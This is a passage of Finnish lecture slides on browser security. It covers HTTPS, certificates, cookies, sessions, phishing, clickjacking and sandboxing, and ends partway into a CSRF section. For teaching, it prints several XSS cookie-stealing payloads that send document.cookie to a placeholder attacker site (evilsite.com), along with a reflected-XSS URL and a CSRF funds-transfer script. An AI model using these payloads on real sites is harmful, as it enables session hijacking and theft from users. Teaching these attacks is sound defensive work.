Luku VII: Selainten tietoturva

Tässä luvussa

- HTTP ja HTTPs,
- varmenteet,
- hyökkäykset asiakkaita vastaan,
- hyökkäykset palvelimia vastaan.

HTTP ja HTTPs I

- Selain identifioi www-objektin paikan URL:n avulla (uniform resource locator).
- Esim. `http://www.example.com/directory/file.html`. Usein tiedostonimi jätetään pois, jolloin pyyntö ohjataan oletustiedostoon kuten `index.html` tai `home.html`.
- http osoittaa protokollan (hypertext transfer protocol).
- Kun URL on annettu, selain etsii ensin DNS:n käteismuistista verkko-osoitetta. Jos osoitetta ei löydy käteismuistista, selain lähettää pyynnön DNS-palvelimelle.
- Kun IP-osoite on löytynyt, asiakas perustaa TCP-yhteyden protokollan ilmaisemaan porttiin palvelimella. Portteja ovat esim.

Port	**Service**
21	FTP
80	HTTP
443	HTTPs

HTTP ja HTTPs II

- TCP-yhteyden solmimisen jälkeen selain lähettää HTTP-pyyntöjä palvelimelle. Pyynnöt on kapseloitu TCP-paketteihin. HTTP-pyyntö identifioi tiedoston, jonka selain haluaa noutaa.
- Kun palvelin saa pyynnön, se lähettää asiakkaalle pyydetyn tiedoston otsaketietojen kera. Otsake sisältää tietoa palvelimesta kuten ohjelmiston tyyppi ja versio.
- Koska tällainen tieto auttaa hyökkääjää, otsaketta muutetaan usein siten, ettei se paljasta kyseisiä tietoja (security through obscurity).
- Vaikka selain näyttää sivun yhdellä kertaa, se voi joutua tekemään monta http-pyyntöä ennen kuin sivu on valmis. Esimerkiksi sivuun upotetut kuvat täytyy hakea erikseen.

HTLM-lomakkeet I

- HTML sisältää myös mekanismin, *forms*, joka salliin käyttäjien lähettää tietoja palvelimelle muuttujissa. Palvelin voi tiedot saatuaan prosessoida tietoja omaa koodiaan käyttäen.
- Lomakkeet käyttävät kahta tapaa välittää tietoja: GET- ja POST-muuttujat.
- GET-muuttujaa käytettäessä nimi-arvo -parit koodataan suoraan URL:ään:

```
http://www.example.com/form.php?first=Roberto &
                                last=Tamassia
```

- POST-muuttujat sisällytetään sen sijaan http-pyynnön runkoon. Jos www-sivun laatija ei muuta määrittele, oletusarvoisesti lomakkeiden tiedot välitetään GET-muuttujissa.

HTLM-lomakkeet II

- GET-muuttujia suositellaan esim. tietokantakyselyihin. Jos kuitenkin kyselyn seurauksena tietokanta voi muuttua, esimerkiksi sinne viedään uusi tietue, POST-muuttujat ovat silloin käytössä.
- Jos joka tilanteessa käytettäisiin GET-muuttujia, voisi sattua, että käyttäjä navigoidessaan lähettää GET-arvoja useaan kertaan korruptoiden tietokantaa. POST-muuttujien tapauksessa selain aina kysyy, halutaanko tiedot lähettää uudestaan.
- Standardi http ei tarjoa minkäänlaista kryptografista suojaa. Kaikki tieto on selväkielisenä. Siten http ei sovi luottamuksellisen tiedon käsittelyyn.

HTTPs I

- Jos halutaan salausta, on käytettävä https:ää (hypertext transfer protocol over secure socket layer). HTTPs on identtinen http:n kanssa, mutta se käyttää SSL:ää (secure socket layer) tai TLS:ää (transport layer security).
- HTTPs-yhteyden solmiminen tapahtuu seuraavien vaiheiden kautta:

  i) selain $\longrightarrow$palvelin: Tuetut salaustekniikat ja tiivistefunktiot
  ii) palvelin$\longrightarrow$selain: Valittu salausmenetelmä ja tiivistefunktio
  iii) palvelin$\longrightarrow$selain: Varmenne
  iv) selain ja palvelin: Generoi yhteiset avaimet
  v) selain ja palvelin: Siirretään dataa luotettavan kanavan yli

HTTPs II

- Varmenne sisältää palvelimen julkisen avaimen. Ennenkuin selain alkaa käyttää sitä, selaimen täytyy verifioida varmenteen myöntäjän allekirjoitus.
- Tämän jälkeen selain salaa satunniasen luvun palvelimen julkisella avaimella ja lähettää salatun luvun palvelimelle. Tästä pääavaimesta (master key) generoidaan varsinaiset avaimet salaukseen ja todennukseen (MAC).
- Varsinainen datan siirto voi nyt alkaa: MAC liitetään jokaiseen http-viestiin ja lopputulos salataan. Näin taataan luottamuksellisuus (symmetrisen salauksen avulla) ja eheys (MACin avulla).

Varmenne I

Palvelimen varmenne sisältää seuraavia tietoja:

- palvelimen identiteetti (vaihtoehtoisia nimiä voi olla laajennusosassa),
- julkinen avain,
- CA:n nimi ja allekirjoitus,
- sarjanumero,
- päättymispäivä,
- web-paikan domain nimi,
- organisaatio, joka hallinnoi paikkaa,
- palvelimen käyttämän julkisen avaimen salauksen tunnus (esim. 1024-bittinen RSA),
- palvelimen käyttämän tiivistefunktion ja allekirjoitusmenetelmän tunnus.

Monet selaimet näyttävät varmenteen tiedot käyttäjälle selkeässä muodossa.

Extended Validation Certificates

- Muutamat CA:t validoivat verkkoalueen, johon varmenteen tilaaja väittää kuuluvansa. Tätä varten on luotu uusi varmennetyyppi, Extended Validation Certificate.
- Näitä varmenteita voivat myöntää ainoastaan CA:t, jotka ovat läpäisseet auditoinnin osoittaen, että ne noudattavat tarkasti sääntöjä asiakkaan identiteetin varmistamisessa. Käytännöt on määritellyt CA/Browser Forum, johon kuuluu monia korkean tason varmenneviranomaisia.

Varmennehierarkia

- Varmenteet muodostavat hierarkian, jossa matalamman tason varmenteet varmentaa korkeamman tason varmenneviranomainen. Korkeimman tason varmenne on nimeltään *juurivarmenne*.
- Koska juurivarmennetta ei korkeampi taho voi enää varmentaa, se tunnetaan nimeltä *itse allekirjoitettu varmenne* (self-signed certificate). Tällöin siis viranomainen on sama kuin asiakas.
- Juurivarmenteita, olivatpa ne verkkoalueen tai organisaation korkeimmalla tasolla, kutsutaan *ankkuripisteiksi* luottamusketjussa. Tällaiset varmenteet on yleensä talletettu käyttöjärjestelmään tai selaimeen.

Luottamus ja käytettävyys I

- Varmenteissa on siis päättymispvm. Varmenne voi joutua myös *peruutuslistalle* (revocation list) ennen päättymispäivää.
- Peruutuslistalle joutumisen syyt ovat moninaiset kuten esim. salaisen avaimen vuotaminen ulkopuolisille tai organisaation uudelleenjärjestelyt.
- Kun varmenne peruutetaan, sen sarjanumero viedään peruutuslistalle, jonka CA allekirjoittaa.
- Siten varmenteen verifiointiin kuuluu allekirjoituksen verifioinnin lisäksi peruutuslistan tarkastelu. Tämä voidaan tehdä joko hakemalla peruutuslista aina kun se julkaistaan ja etsimällä sieltä tai käyttämällä jotain protokollaa, jolla yksittäinen varmenne voidaan tarkistaa hakematta peruutuslistaa. Esim. OCSP, Online Certificate Status Protocol.
- Oleellista varmenteiden yhteydessä on myös, että käyttäjä ymmärtää varmenteeseen liittyvän tiedon. Esim.

Luottamus ja käytettävyys II

  - lukkoikoni,
  - värit (extended validation),
  - klikkaamalla väriä saa yksityiskohtaisempaa tietoa varmenteesta.
- Jos palvelu lähettää epäkelvon varmenteen, selaimet yleensä varoittavat tästä. Varoitukseen tulee suhtautua vakavasti, koska se voi olla merkki hyökkäyksestä.

Dynaaminen sisältö

- www-sivulla voi olla dynaamista sisältöä, joka muuttuu riippuen käyttäjän toimista.
- Tällaisia piirteitä voidaan luoda skriptikielten avulla.
- Skriptiohjelma voidaan välittää selaimelle, joka suorittaa sen asiakkaan koneessa. Kysymyksessä on *asiakaspuolen skriptikieli* (client side scripting language). Skriptiohjelma voidaan suorittaa myös palvelimessa, jolloin kyseessä on palvelinpuolen skriptikieli.
- Esim. Javascript, 1995.

Evästeet ja istunnot

- HTTP on tilaton, joten sen avulla ei voi yhdistää eri hakuja esim. yhteen istuntoon.
- Istunnon käsite sen sijaan tarkoittaa, että asiakkaan avaamat sivut katsotaan kuuluvaksi yhteen kokonaisuuteen. Vrt. esim. tuotteiden selaus, tilaus ja vieminen ostoskoriin.
- Tilatietoa voidaan kuitenkin ylläpitää kolmella tavalla: GET- ja POST-muuttujien, evästeiden ja palvelinpuolen istuntomuuttujien avulla.
- Istuntotieto on varsin luottamuksellista, sillä sen varaan perustuvat pankkipalvelut, luottokorttioperaatiot, terveystiedot yms.
- Istuntoihin liittyy luonnollisesti myös hyökkäyksiä, joita käsittelemme myöhemmin.

GET ja POST istunnoissa

- Eräs tekniikka istuntojen hallintaan perustuu siihen, että välitetään istuntotietoa palvelimelle GET- tai POST-muuttujilla joka kerran, kun asiakas noutaa uusia sivuja.
- Menetelmä perustuu siihen, että palvelin generoi pienehkön koodipätkän, joka laitetaan haettavalle sivulle ja joka ei näy asiakkaalle. Tällöin käytetään kätkettyjä kenttiä (hidden fields).
- Aina kun asiakas navigoi uudelle sivulle, koodi palauttaa istuntotietoja palvelimelle, joka täten muistaa istunnon tilan. Tilatiedot viedään sitten myös uudelle sivulle.
- Tämä menetelmä on erityisen altis välimieshyökkäykselle, koska HTTP-pyynnöt ovat salaamattomia. Jos hyökkääjä pääsee käsiksi GET- ja POST-muuttujiin, hän voi kaapata istunnon ja tekeytyä asiakkaaksi.
- Menetelmä on turvallinen ainoastaan HTTPS:n kanssa.

Evästeet I

- Toinen tapa hallita istuntoa perustuu evästeisiin. Evästeet lähetetään asiakkaalle, kun palvelin käyttää Set-Cookie -kenttää HTTP-vastauksen otsakkeessa.
- Jos ei aseteta mitään päättymisaikaa, oletusarvoisesti evästeen pitäisi tuhoutua, kun asiakas sulkee selaimen.
- Web-palvelun ylimmälle alueelle (top-level domain) tai sen alialueille voidaan määritellä ns. domain-kenttä. Tällöin vain alueen koneet voivat asettaa evästeen tälle alueelle. Alialue voi asettaa evästeen ylemmälle, mutta ei päinvastoin.
- Samoin alialueet voivat lukea (access) ylemmän alueen evästeen, muttei päinvastoin. Esimerkiksi *mail.example.com* voi lukea evästeitä, jotka on asetettu alueelle *example.com* tai *mail.example.com*, mutta *example.com* ei voi lukea evästeitä, jotka on asetettu alueelle *mail.example.com*.

Evästeet II

- Koneet voivat lukea evästeitä, jotka on asetettu sitä ylemmille alueille, mutta ne voivat asettaa evästeen vain yhtä tasoa ylemmäksi.
- On lisäksi sääntöjä, jotka estävät evästeiden asetuksen tietyille ylätason alueille kuten esim. *.edu* tai *.com*. Nämä säännöt on implementoitu selaimiin.
- Oletusarvoisesti evästeet välitetään salaamattomana käyttäen HTTP:tä. On kuitenkin mahdollista asettaa turvalippu (secure flag), joka saa aikaan sen, että käytössä onkin HTTPS.
- On ollut kuitenkin tapauksia, joissa HTTPS:ää käyttäneet web-palvelut eivät ole asettaneet turvalippua, jolloin istunnon kaappaus on ollut mahdollista.

  (`http://security.stackexchange.com/questions/10535/can-coo`
- Eväste voidaan myös salakirjoittaa. Tällöin vain evästeen asettanut palvelu kykenee avaamaan sen.

Evästeet III

- Evästeet voivat asettaa HTTP-ONLY -lipun. Jos näin tehdään, skriptikieliset ohjelmat eivät voi manipuloida evästettä asiakkaan koneella. Asiakas voi kuitenkin modifioida evästettä selaimen plug-in -ominaisuuden perusteella. Kuitenkin skriptikielten sulkeminen pois evästeiden yhteydestä altistaa XSS-hyökkäykselle (cross-site scripting).

Evästeet ja istunnot

- Jotta palvelin pääsisi käsiksi asettamiinsa evästeisiin, asiakas liittää automaattisesti HTTP-pyynnön Cookie-kednttään ne evästeet, jotka on asetettu kyseiselle alueelle ja polulle.
- Koska tämä informaatio palautetaan palvelimelle jokaisen HTTP-pyynnön yhteydessä, web-palvelimilla ei ole mitään tarvetta käsitellä evästeitä lokaalisti, vaan eväsinformaatiota voidaan käsitellä pyyntöjen perusteella, kuten GET- ja POST-muuttujiakin.
- Erityisesti käyttäjien evästeisiin pääsee käsiksi DOMin kautta (Document Object Model) ja siten edelleen skriptikielten avulla. Evästeiden spesifikaatio on sisällytetty suoraan HTTP-protokollaan, jota selaimet tulkitsevat. Tästä seuraa, että evästeiden asettamis- ja lukemismekanismit riippuvat skriptikielestä.
- Monissa kielissä on evästeitä varten API, mutta toiset kielet, kuten Javascript, käsittelevät evästeitä tekstityyppisinä merkkijonoina, jotka on talletettu DOMiin.
- Kaikkia evästeiden ominaisuuksia hallitaan selaimen avulla, eikä KJ:n avulla.

Evästeiden turvallisuus

- Evästeellä on syvällisiä seurauksia istuntojen turvallisuuteen. On esim. vaarallista tallettaa mitään arkaluonteista tietoa salaamattomana evästeeseen, koska asiakkaat pääsevät käsiksi evästeisiin, jotka on viety heidän koneelleen.
- Vaikka evästeet olisivatkin salakirjoitettuja, hyökkääjällä on silti mahdollisuus anastaa istunto. Siksi on tärkeää, että käyttäjät suojelevat evästeitään kuten mitä tahansa kirjautumistietoa.
- Päättymispvm on hyvä asia, mutta on silti suositeltavaa, että käyttäjät poistavat evästeensä säännöllisesti hyökkäyksiä estääkseen.
- Lisäksi evästeisiin liittyy yksityisyyden suojan ongelmia.

Palvelinpuolen istunnot

- Istuntotietoa voidaan tallettaa myös palvelimeen. Tämä vähentää monia käyttäjän riskejä, koska hyökkäys käyttäjän koneeseen ei välttämättä vaikuta istuntoihin.
- Palvelimet käyttävät tavallisesti yksikäsitteistä istuntotunnusta istunnon identifioimiseen. Palvelin vie tunnuksen asiakkaalle joko GET/POST-muuttujissa tai evästeissä.
- Kun asiakas navigoi uudelle sivulle, se lähettää tunnuksen takaisin palvelimelle. Palvelin etsii sitten tunnuksen avulla istuntoon liittyvät tiedot.
- Istuntotunnuksen tulisi olla sellainen, että hyökkääjän on vaikea arvata sitä. Siten sopivia tekniikoita ovat satunnaisluvut tai MAC-arvot.
- Jos hyökkääjä onnistuu murtautumaan asiakkaan koneelle, niin todennäköisesti hän saa haltuunsa vain vanhentuneen istuntotunnuksen.

Istunnon kaappaaminen I

- Olemme nähneet, miten TCP-istunto voidaan yrittää kaapata. Samalla tavalla voidaan yrittää kaapata HTTP-istunto.
- Hyökkäys on erityisen haitallinen, jos alussa käytetään vahvoja todennusmnenetelmiä, mutta sen jälkeen käytetään salaamatonta HTTP-liikennettä.
- Jos hyökkääjä kykenee lukemaan pakettiliikennettä asiakkaan ja palvelimen välillä, hän voi saada tietoonsa istuntotunnuksen. Tämän jälkeen hän voi väärentää istuntotietoa evästeisiin tai GET/POST-muuttujiin. Siten ensimmäinen toimenpide on suojautua pakettien seurannalta ja TCP-yhteyden kaappaukselta.
- Edelleeen tulisi salakirjoittaa asiakkaalle tallennettavat evästeet ja palvelinpuolella istuntotunnukset tulisi valita niin, että niitä on vaikea ennustaa.

Istunnon kaappaaminen II

- Ja uusintahyökkäyksiä vastaan pitäisi varautua. Näitä voidaan torjua käyttämällä satunnaislukuja eli nonsseja ja ajastimia, jotka pakottavat vaihtamaan istuntotunnukset säännöllisin väliajoin.
- Lisäksi istuntotunnukseen voidaan liittää asiakkaan IP-osoite niin, että istunto on oikea vain, jos se tulee oikeasta IP-osoitteesta.
- Jos istuntotiedot talletetaan palvelimessa, ja asiakas tallettaa vain istuntotunnuksen, istuntoon ei kohdistu ainakaan asiakkaan päässä kovin suuria uhkia. Lisäksi palvelinpuolella istunto suljetaan, kun asiakas sulkee selaimen.
- Kuitenkin joissain tapauksissa tila- ja muut resurssiongelmat estävät sen, että monien asiakkaiden kaikki istuntotieto talletetaan palvelimelle. Silloin on käytettävä evästeitä, vaikka niihin liittyy suurempi riski.

Kalastelu I

- Kalasteluhyökkäyksessä hyökkääjä luo www-sivun, joka muistuttaa toista, tunnettua sivua. Sivun tarkoituksena on houkutella käyttäjää antamaan arkaluonteista tietoa.
- Kalastelu perustuu siihen, etteivät käyttäjät yleensä tutki valesivua huolellisesti, vaikka onkin hankalaa luoda täsmälleen alkuperäisen kaltaista sivua.
- Ellei URL:ää ole väärennetty DNS-myrkytyksen avulla, pelkkä vilkaisu osoitekenttään riittäisi usein antamaan vihjeen siitä, että kalasteluhyökkäys on meneillään.
- Kalasteluhyökkäykset liittyvät usein roskapostiin, joissa houkutellaan käyttäjää ottamaan yhteyttä johonkin mukamas tunnettuun organisaatioon.
- Väärä URL voi poiketa vain alkuperäisestä:

Kalastelu II

```
http://www.securetotaltrust.com
http://www.securetotalrust.com
```

- Selaimet antavat myös usein huomautuksen, jos käyttäjä eksyy tunnetulle kalastelusivulle.
- Edellä nähtiin, ettei URL:stä voi välttämättä päätellä nopealla vilkaisulla, ettei se ole oikea. Toinen harhautustapa on kirjoittaa wwww-linkki sähköpostiin siten, että se vaikuttaa oikealta:

```
< a href = "http://phisher295.com">
http://www.securetotaltrust.com </a>
```

- Edelleen hyökkääjä voi käyttää Unicode-hyökkäystä eli homeograafista hyökkäystä. Unicode-merkkejä voidaan käyttää URL:ssä, jotta voitaisiin esittää kansallisia merkkejä. Seuraava todellinen esimerkki valaisee hyökkääjän mahdollisuuksia:

Kalastelu III

- Eräs hyökkääjä rekisteröi www-osoitteen `www.paypal.com` käyttäen kyyrillisistä p-kirjainta, jolla on Unicode-arvo #0440. Ascii-p:llä on Unicode-arvo #0070. Jos uhri ajautui hyökkääjän sivulle, URL ei paljastanut mitään, koska selain näytti molemmat p:t samanlaisina.
- Edelleen hyökkääjä rekisteröi tälle kalastelusivulle SSL-varmenteen. Varmenne myönnettiin, koska se todella liittyi annettuun osoitteeseen, joka oli hyökkääjän omistuksessa.
- Hyökkäys olisi voitu estää, jos kansainvälisten merkkien käyttö selaimessa olisi kielletty. Tällöin ei tosin olisi voinut navigoida joillekin kansainvälisille sivuille.
- Selaimen tulisi jollain tapaa osoittaa, esimerkiksi väreillä, että aakkosto ei ole normaalia ascii-merkistöä.

Näppäinharhautus I

- Näppäinharhautuksessa eli Click Jacking -hyökkäyksessä www-sivulle syötetty skriptikoodi aiheuttaa sen, että hiiren näpäytyksestä seuraa toisenlainen operaatio kuin mitä käyttäjä odotti.
- Esim. seuraava Javascript-koodi:

```
< a on MouseUp = window.open("http://www.evilsite.com")
href = "http://www.trustedsite.com/"> Trust me! </a>
```

- Monet selaimet näyttävät kohdeosoitteen, kun kursori viedään hyperlinkin päälle. Eli oikea hyperlinkki näkyy, mutta esimerkissä Javascript-koodi ohjaa toiselle sivulle. Moniin muihinkin operaatioihin voidaan liittää skriptikoodia. Esim. *onMouseOver* laukaisee toiminnon aina, kun kursori siirtyy tuon elementin yli.
- Mainostajat voivat tehdä näppäinpetoksen pakottamalla käyttäjiä skriptikoodin avulla klikkaamaan mainoksia. Tällöin yleensä mainostajalle maksetaan sen mukaan, kuinka moni on klikannut mainosta.

Näppäinharhautus II

- Usein on turvallisinta kieltää selaimelta Javascriptin käyttö. Firefoxin *NoScript plug-in* sallii käyttäjien valkoiset listat, jotka sanovat, minkä sivujen Javascript-koodit sallitaan.

Hiekkalaatikko I

- Hiekkalaatikko tarkoittaa toisen sovelluksen sisällä olevan sovelluksen tai skriptikoodin rajoitettuja oikeuksia. Esim. hiekkalaatikko voi sallia pääsyn vain tiettyihin tiedostoihin ja laitteisiin.
- Javascriptissä on huolellisesti valittu elementit, joihin se pääsee käsiksi, kun koodia ajetaan selaimen sisällä, mukaanlukien DOM-hierarkia. Javascriptiä ei voi suorittaa selaimen ulkopuolella, eikä se voi vaikuttaa selaimessa avattuihin muihin ikkunoihin (tab).
- Adobe Flash -sovellukset voivat kirjoittaa (mutta eivät lukea) käyttäjän työpöydälle useimmissa systeemeissä.
- Kun käyttäjä käyttää tällaisia tekniikoita selaimessa, hän antaa tekniikalle oikeuden käyttää sille määriteltuja resursseja. Toisinaan näitä oikeuksia voidaan käyttää väärin. Myös tahattomat haavoittuvuudet saattavat antaa hyökkääjälle mahdollisuuksia.

Hiekkalaatikko II

- Suunnittelijat yrittävät parantaa koko ajan esim. selainten ominaisuuksia niin, että hyökkäykset vaikeutuvat. Googlen Chrome-selain esimerkiksi ajaa jokaisen sivun (tab) omana prosessinaan. Siten sivu muodostaa hiekkalaatikon KJ:n tasolla.
- Toisaalta selaimet tulevat koko ajan monimutkaisemmiksi. Tämä aiheuttaa sen, että myös haavoittuvuuksia voi ilmetä enemmän. Haavoittuvuudet selaimissa ovat vaarallisia, koska niiden kautta voidaan mahdollisesti kiertää hiekkalaatikon rajoituksia. Siten selainten ja plugin-kehittäjien tulisikin testata tuotteensa erittäin huolellisesti.

Adobe Flash

- Web-sivuilla on enenevässä määrin ääni- ja videodataa. Jos selaimen yhteyteen liitetty mediasoitin sisältää haavooittuvuuksia sovellustasolla, pahantahtoiset mediatiedostot voivat päästä ulos hiekkalaatikosta ja suorittaa koodia käyttäjän koneessa.
- Suosittu mediaformaatti on Adobe Flash. Koska näitä sovelluksia ajetaan hiekkalaatikon ulkopuolella, mahdolliset haavoittuvuudet Flash-soittimessa ovat vakava uhka. Siksi tulisikin käyttää vain viimeisimpiä versioita.

Java-sovelmat I

- Java-sovelmat mahdollistavat vielä monipuolisemmat www-sivut. Sovelmat ajetaanm hiekkalaatikossa, jonka muodostaa virtuaalikone. Se estää lukemasta ja kirjoittamasta tiedostojärjestelmään, ohjelmien käynnistämisen ja muut verkkoyhteydet kuin sovelman tarjonneeseen palvelimeen.
- Kuitenkin käyttäjän hyväksymät sovelmat voivat venyttää hiekkalaatikon reunoja. Siten käyttäjällä on suuri vastuu, ja heidän tulisi ymmärtää, milloin sovelmaan voi luottaa ja milloin ei.
- Java-sovelmien kirjoittaja voi hankkia varmenneviranomaiselta koodi allekirjoitusvarmenteen (code signing certificate). Kun tällainen sovelma pyytää käyttäjältä oikeuksia ylittää hiekkalaatikon rajat, se esittää samalla varmenteensa. Käyttäjä voi nyt verifioida varmenteen ja sovelman eheyden ja päättää, antaako hän luvan tavallista laajemmille oikeuksille.

ActiveX

- ActiveX on Microsoftin kehittämä teknologia, joka mahdollistaa sovellusten, ActiveX controls, jakamisen verkossa ja suorittamisen selaimessa. ActiveX ei ole kieli vaan kuori (wrapper), jonka avulla lähes millä tahansa kielellä kirjoitettuja ohjelmia voidaan jakaa.
- Päinvastoin kuin sovelmat, ActiveX-ohjelmilla on pääsy kaikkiin selaimen ulkopuolella oleviin resursseihin. Siten näitä ohjelmia voidaan tehdä myös hyökkäystarkoituksiin.
- ActiveX-ohjelmat voidaan allekirjoittaa. Tämä ei kuitenkaan suojaa joka tilanteessa. Esim. hyökkääjä voi omistaa ActiveX-ohjelman ja käyttää sitä muihin koneisiin tunkeutumiseen.
- Internet Explorerissa on asetukset, joilla ActiveX voidaan sallia, kieltää tai sallia ilmoituksen ja verifioinnin jälkeen. Ylläpitäjät voivat lisäksi määritellä, että organisaatiossa voi käyttää vain niitä ActiveX-ohjelmia, jotka organisaatio on hyväksynyt.

Pysyvä (persistent) XSS I

- Tässä hyökkäyksessä hyökkääjän soluttama koodi web-sivulle jää sinne joksikin aikaa ja vaikuttaa muiden käyttäjien toimintaan. Klassinen esimerkki on vieraskirjan tai ilmoitustaulun muutokset.
- Uutissivustoilla ja sosiaalisilla sivustoilla on usein vieraskirja, johon vierailijat voivat kirjoittaa kommenttejaan muiden nähtäväksi. Jos kommenttia ei tutkita riittävästi ennen kuin se viedään sivulle, niin hyökkääjä voi soluttaa koodia kommentin mukana. Koodi suoritetaan, kun toiset vierailevat sivulla.
- Käyttäjälle voidaan esimerkiksi näyttää seuraava sivu:

Pysyvä (persistent) XSS II

```
<html>
<title>Sign My Guestbook</title>
<body>
   <H2>Sign my Guestbook!</H2>

 <form action = "sign.php" method = "POST">
   <input type = "text" name = "name">
   <input type = "text" name = "message">
   <input type = "submit" size = "40" value = "Submit">
 </form>
 </body>
 </html>
```

- Kun vierailija kirjoittaa kommenttinsa, sivu välittää kommentit POST-muuttujissa sivulle *sign.php*. Tämä sivu käyttää palvelinpuolen koodia, joka kirjoittaa kommentin vieraskirjan sivulle.

Pysyvä (persistent) XSS III

- Oletetaan, että joku antaa kommentin seuraavassa muodossa:

  ```
  Evilguy: <script>alert("XSS injection!");</script>
  ```

  Tällöin koodi generoi ponnahdusikkunan, johon tulee teksti *XSS injection!*. Tällainen koodin solutus voi onnistua, jos syötteitä ei tarkisteta riittävästi.
- Tässä tapauksessa vieraskirja on ns. *hyökkäysvektori*. Koodia kutsutaan puolestaan *hyötykuormaksi* (payload). Tässä tapauksessa hyötykuorma oli suhteellisen vaaraton, mutta on mahdollista konstruoida haitallisempia hyökkäyksiä.
- Javascriptillä on kyky ohjata käyttäjät mielivaltaisille sivuille, joten tämä on yksi tavoite hyökkäyksissä. Toinen mahdollisuus piilee evästeissä. Tarkastellaan seuraava koodia, jonka hyökkääjä soluttaa vieraskirjaan:

Pysyvä (persistent) XSS IV

```
<script>
  document.location = "http://www.evilsite.com/
  steal.php?cookie=+document.cookie;
</script>
```

Tämä koodi käyttää hyväkseen Javascriptin kykyä lukea DOMia ohjatakseen vierailijan hyökkääjän sivulle. Edelleen käyttäjän evästeet liitetään URL:ään GET-parametreina, jonka jälkeen *steal.php* kirjaa evästeet. Tämän jälkeen hyökkääjä voi käyttää evästeitä istunnon kaappamiseen.

- Hyökkäys on hieman yksinkertainen, koska käyttäjä todennäköisesti huomaa, jos on joutunut uudelle sivulle. On kuitenkin useampia tekniikoita, joilla hyökkääjä voi yrittää paremmin peittää aikomuksensa. Yksi suosituimmista on upottaa kuvan pyyntö hyökkäjän URL:ään tai käyttää näkymätöntä *iframe*:iä.

Pysyvä (persistent) XSS V

- Seuraava Javascript-koodi luo kuvan, jonka osoitteeksi tulee hyökkääjän osoite. Kun uhri vierailee sivulla, uhrin selain ottaa yhteyden hyökkääjän ULR:ään vieden evästeen GET-muuttujassa hyökkääjän koneelle:

```
<script>
   img = new image();
   img.scr = "http://www.evilsite.com/steal.php?cookie="
               + document.cookie;
</script>
```

  Uhri ei huomaa mitään, koska mitään kuvaa ei palauteta.

- Näkymättömiä kehyksiä voidaan käyttää samaan tarkoitukseen:

Pysyvä (persistent) XSS VI

```
<iframe frameborder=0 src="" height=0 width=0 id="XSS"
 name="XSS"></iframe>
<script>
 frames["XSS"].location.href="http://www.evilsite.com/
    steal.php?cookie=" + document.cookie;
</script>
```

Koodi luo näkymättömän kehyksen nimeltä XSS. Skripti muuttaa iframen lähteeksi hyökkääjän osoitteen välittäen samalla evästeet GET-parametrissa.

- Yllä esitetyt evästinanastukset eivät toimi, jos käytetään pelkkää HTML:ää, koska HTML ei voi suoraan päästä käsiksi evästeisiin.
- Huomattakoon, että jotkut XSS-hyökkäykset voivat säilyä istunnon jälkeenkin. Esim. voi olla mahdollista soluttaa haittakoodia web-palvelimen tietokantaan. Kannan tietoja voidaan kysellä myöhemmin istunnon jälkeen, jolloin skripti suoritetaan.

Hetkellinen (nonpersistent) XSS I

- Useimmissa todellisissa XSS-hyökkäyksissä Javascipt-koodi ei jää sivulle hyökkääjän istunnon jälkeen. Tällaisesta on monia esimerkkejä.
- Klassinen esimerkki on hakusivu, joka palauttaa hakujen tulokset. Kun vaikkapa kirjoitetaan "security book" hakukenttään, tulossivu voisi alkaa otsakkeella "Search results for security book", jonka jälkeen seuraa hakutulokset.
- Jos käyttäjän hakuehtoa ei tarkasteta riittävästi, haun tekijä voi soluttaa haittakoodia kyselyyn ja koodi tulee myös kyselyn tuloksena syntyvään sivuun ja se suoritetaan sitten asiakkaan eli tässä tapauksessa hyökkääjän koneella!
- Tämä ei vaikuta harmilliselta, mutta ajatellaan hakusivua, jossa hakutulokset välitetään GET-parametrissa skriptiin:

```
http://victimsite.com/search.php?query=searchstring
```

Hetkellinen (nonpersistent) XSS II

Hyökkääjä voisi konstruoida pahantahtoisen URL:n, jossa on mukana hänen valitsemaansa skriptikoodia. Jos joku vierailee tuolla sivulla, koodi suoritetaan vierailijan sivulla. Esim

```
http://victimsite.com/search.php?query=
<script>
  document.location = "http://www.evilsite.com/
  steal.php?cookie=+document.cookie;
</script>
```

Klikkaamalla tätä linkkiä käyttäjä vierailee tietämättään sivulla, joka ohjaa selaimen hyökkääjän sivulle, jossa puolestaan anastetaan alkuperäisen palvelimen eväste. Hyökkääjä voi käyttää roskapostia houkutellakseen vierailijoita kyseiselle sivulle.

Puolustautuminen XSS-hyökkäyksiä vastaan I

- XSS-hyökkäykset tulkitaan asiakaspuolen hyökkäyksiksi, mutta haavoittuvuudet ovat palvelimen puolella. Pääsyy on ohjelmoijien huolimattomuus.
- Jos esim. kysytään puhelinnumeroa, pitäisi sallia vain numerot ja tavuviivat. Yleensäkin pitäisi hylätä syötteet, joissa on "<"tai ">".
- Asiakas ei voi kuitenkaan vaikuttaa palvelimen virheisiin. Siten usein kannattaa sulkea skriptien suoritusmahdollisuus pois.
- Firefoxissa on NoScript plugin, jonka avulla käyttäjä voi määritellä katselupolitiikkansa. Lisäksi NoScript paljastaa XSS-hyökkäyksiä varmistamalla, ettei GET- ja POST-muuttujissa ole haittakoodin merkkejä.
- Tämä ei kuitenkaan estä pysyviä XSS-hyökkäyksiä, koska niissä haittakoodi on solutettu palvelimeen.

Puolustautuminen XSS-hyökkäyksiä vastaan II

- Hyökkääjät keksivät kuitenkin aina uusia keinoja kiertää suojauksia. Selaimet tukevat nykyään URL-koodausta. Jokaisella merkillä on vastaava URL-koodi ja selaimet ymmärtävät sekä normaalia tekstiä että URL-koodia. Eräs tapa kiertää suojauksia on kirjoittaa haittakoodi käyttäen URL-koodausta. Esim.

  ```
  <script>alert('hello');
  \%3C\%73\%63 ....
  ```

- Toinen harhautuskeino perustuu siihen, että URL voidaan pilkkoa pieniin osiin, jotka sitten lopuksi kootaan liitosoperaatiolla yhteen.

Muita XSS-hyökkäyksiä

- XSS-madot leviävät itsekseen käyttäen hyväkseen DOM-mekanismia.
- MySpace ja Facebook ovat erityisen suosittuja matojen alustoja.

CSRF-hyökkäys I

- CSRF eli Cross-Site Request Forgery on vastakkainen XSS:lle. Kun XSS perustuu siihen, että asiakas luottaa palvelimeen, CSRF-hyökkäyksessä taas palvelin luottaa asiakkaaseen, mutta joutuu huijatuksi.
- Oletetaan, että henkilö käsittelee pankkiasioitaan verkon yli pankissa, jonka URL on `www.naivebank.com`. Henkilö sattuu esimerkiksi sähköpostin sisälmän linkin innostamana menemään sivulle `www.evilsite.com`, joka sisältää seuraavan haittakoodin:

```
<script>
  document.location = "http://www.naivebank.com/
       transferFunds.php?amount=10000&
       fromID=1234&toID=5678";
</script>
```

CSRF-hyökkäys II

